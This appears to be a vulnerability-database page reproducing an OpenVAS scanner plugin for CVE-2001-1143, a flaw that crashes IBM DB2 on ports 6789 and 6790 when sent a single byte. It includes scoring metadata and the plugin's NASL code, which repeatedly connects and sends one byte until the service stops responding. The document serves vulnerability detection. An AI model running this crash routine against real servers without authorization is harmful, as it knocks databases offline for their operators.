Lucene search

K
openvasCopyright (C) 2002 Michel ArboiOPENVAS:136141256231010871
HistoryNov 03, 2005 - 12:00 a.m.

DB2 DOS

2005-11-0300:00:00
Copyright (C) 2002 Michel Arboi
plugins.openvas.org
8

6.7 Medium

AI Score

Confidence

Low

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.022 Low

EPSS

Percentile

89.3%

It was possible to crash the DB2 database by sending just one byte to it.

# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10871");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/3010");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2001-1143");
  script_name("DB2 DOS");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("find_service.nasl");
  script_require_ports(6789, 6790);

  script_tag(name:"solution", value:"Upgrade your software.");

  script_tag(name:"summary", value:"It was possible to crash the DB2 database by sending just one byte to it.");

  script_tag(name:"impact", value:"An attacker may use this attack to make this service crash continuously, preventing you
  from working properly.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

function test_db2_port( port ) {

  if( ! get_port_state( port ) )
    return;

  soc = open_sock_tcp( port );
  if( ! soc )
    return;

  for( i = 0; i < 100; i++ ) {

    send( socket:soc, data:string( "x" ) );
    close( soc );

    soc = open_sock_tcp( port );
    if( ! soc ) {
      sleep( 1 );
      soc = open_sock_tcp( port );
      if( ! soc ) {
        security_message( port:port );
        return;
      }
    }
  }
  close( soc );
  return;
}

test_db2_port( port:6789 );
test_db2_port( port:6790 );

6.7 Medium

AI Score

Confidence

Low

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

0.022 Low

EPSS

Percentile

89.3%

Related for OPENVAS:136141256231010871